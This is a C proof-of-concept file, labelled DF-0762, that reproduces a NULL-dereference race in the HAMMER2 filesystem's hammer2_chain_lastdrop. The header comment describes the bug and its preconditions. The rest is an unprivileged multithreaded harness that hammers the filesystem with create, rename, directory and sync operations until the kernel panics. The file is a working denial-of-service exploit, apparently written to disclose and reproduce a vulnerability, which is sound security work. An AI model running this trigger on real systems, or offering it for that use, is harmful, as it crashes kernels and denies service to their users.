DF-0762 / h2_churn.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 | /* * DF-0762 PoC trigger — hammer2_chain_lastdrop no-parent-retry NULL deref. * * Bug: sys/vfs/hammer2/hammer2_chain.c hammer2_chain_lastdrop() else-branch * (no-parent case, parent==NULL), the 1->0-retry path executes: * hammer2_spin_unex(&parent->core.spin); * with parent==NULL -> NULL deref at sizeof(hammer2_mtx_t) -> kernel panic. * The else branch never acquires parent's spinlock, so the release is both * a NULL deref and an unheld-lock release. * * Reachability: race. A detached chain (parent==NULL, refs==1) entering * lastdrop while a concurrent hammer2_chain_ref bumps refs 1->2 makes the * atomic_cmpset_int(&chain->refs,1,0) fail, taking the buggy retry path. * * Threat model / preconditions (acceptable): * - root has created + mounted a HAMMER2 filesystem image (mount is root-only), * and chowned the mountpoint to the unprivileged user. This mirrors the * "admin mounted a filesystem image and made it usable by the user" * precondition. The TRIGGER itself (heavy churn) is all unprivileged. * * This harness runs as the unprivileged user and hammers the mounted HAMMER2 * filesystem with concurrent create/delete/rename/write/sync workloads to * maximize the chance of catching the parentless-chain refs race. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <pthread.h> #include <sys/stat.h> #include <sys/mount.h> #include <sys/wait.h> #ifndef H2_MNT #define H2_MNT "/h2test" #endif static volatile int stop = 0; /* Worker A: create/delete files in a tight loop with fsync. */ static void * worker_crud(void *arg) { long tid = (long)arg; char path[256]; char buf[4096]; int i, fd; memset(buf, 'x', sizeof(buf)); for (i = 0; !stop; i++) { snprintf(path, sizeof(path), "%s/crud.%ld.%d", H2_MNT, tid, i & 0x3f); fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd < 0) { if (errno == EINTR || errno == ENOSPC) { /* disk pressure: purge our crud files to keep churn going */ int j; for (j = 0; j < 0x40; j++) { snprintf(path, sizeof(path), "%s/crud.%ld.%d", H2_MNT, tid, j); unlink(path); } continue; } continue; } /* variable-sized writes to exercise blocktable/indirect blocks */ write(fd, buf, sizeof(buf)); if (i & 1) write(fd, buf, sizeof(buf)); fsync(fd); close(fd); /* delete ~all the time to force chain teardown and avoid filling disk */ unlink(path); } return NULL; } /* Worker B: rename churn to force parent/topology reorganization. */ static void * worker_rename(void *arg) { long tid = (long)arg; char a[256], b[256]; int i; for (i = 0; !stop; i++) { snprintf(a, sizeof(a), "%s/rn.%ld.%d", H2_MNT, tid, i & 0x3f); snprintf(b, sizeof(b), "%s/rn.%ld.%d.b", H2_MNT, tid, i & 0x3f); rename(a, b); if ((i & 0x7) == 0) { int fd = open(a, O_CREAT | O_RDWR, 0644); if (fd >= 0) { write(fd, a, 16); close(fd); } } /* purge to avoid filling disk */ unlink(b); } return NULL; } /* Worker C: mkdir/rmdir churn + deep directory trees (parent churn). */ static void * worker_tree(void *arg) { long tid = (long)arg; char d[256]; int i; for (i = 0; !stop; i++) { snprintf(d, sizeof(d), "%s/d.%ld.%d", H2_MNT, tid, i & 0xf); if (mkdir(d, 0755) == 0) { char f[300]; int fd; snprintf(f, sizeof(f), "%s/f", d); fd = open(f, O_CREAT | O_RDWR, 0644); if (fd >= 0) { write(fd, f, 32); fsync(fd); close(fd); } unlink(f); rmdir(d); } } return NULL; } /* Worker D: periodic syncfs to force flush/blocktable maintenance. */ static void * worker_sync(void *arg) { (void)arg; while (!stop) { sync(); usleep(2000); /* 2ms */ } return NULL; } int main(int argc, char **argv) { int ncrud, nrename, ntree, duration; long i; pthread_t *t; int nthreads; duration = (argc > 1) ? atoi(argv[1]) : 60; ncrud = (argc > 2) ? atoi(argv[2]) : 4; nrename = (argc > 3) ? atoi(argv[3]) : 2; ntree = (argc > 4) ? atoi(argv[4]) : 2; nthreads = ncrud + nrename + ntree + 1; t = calloc(nthreads, sizeof(pthread_t)); fprintf(stderr, "DF-0762: hammer2 churn on %s, duration=%ds " "(crud=%d rename=%d tree=%d sync=1)\n", H2_MNT, duration, ncrud, nrename, ntree); fprintf(stderr, "DF-0762: if the kernel panics in hammer2_chain_lastdrop / " "page-fault at a low address, the bug is reproduced.\n"); i = 0; for (int k = 0; k < ncrud; k++) pthread_create(&t[i++], NULL, worker_crud, (void *)(long)k); for (int k = 0; k < nrename; k++) pthread_create(&t[i++], NULL, worker_rename, (void *)(long)k); for (int k = 0; k < ntree; k++) pthread_create(&t[i++], NULL, worker_tree, (void *)(long)k); pthread_create(&t[i++], NULL, worker_sync, NULL); sleep(duration); stop = 1; for (int k = 0; k < nthreads; k++) pthread_join(t[k], NULL); fprintf(stderr, "DF-0762: churn finished without local error. " "Check serial console / dmesg for hammer2_chain_lastdrop panic.\n"); return 0; } |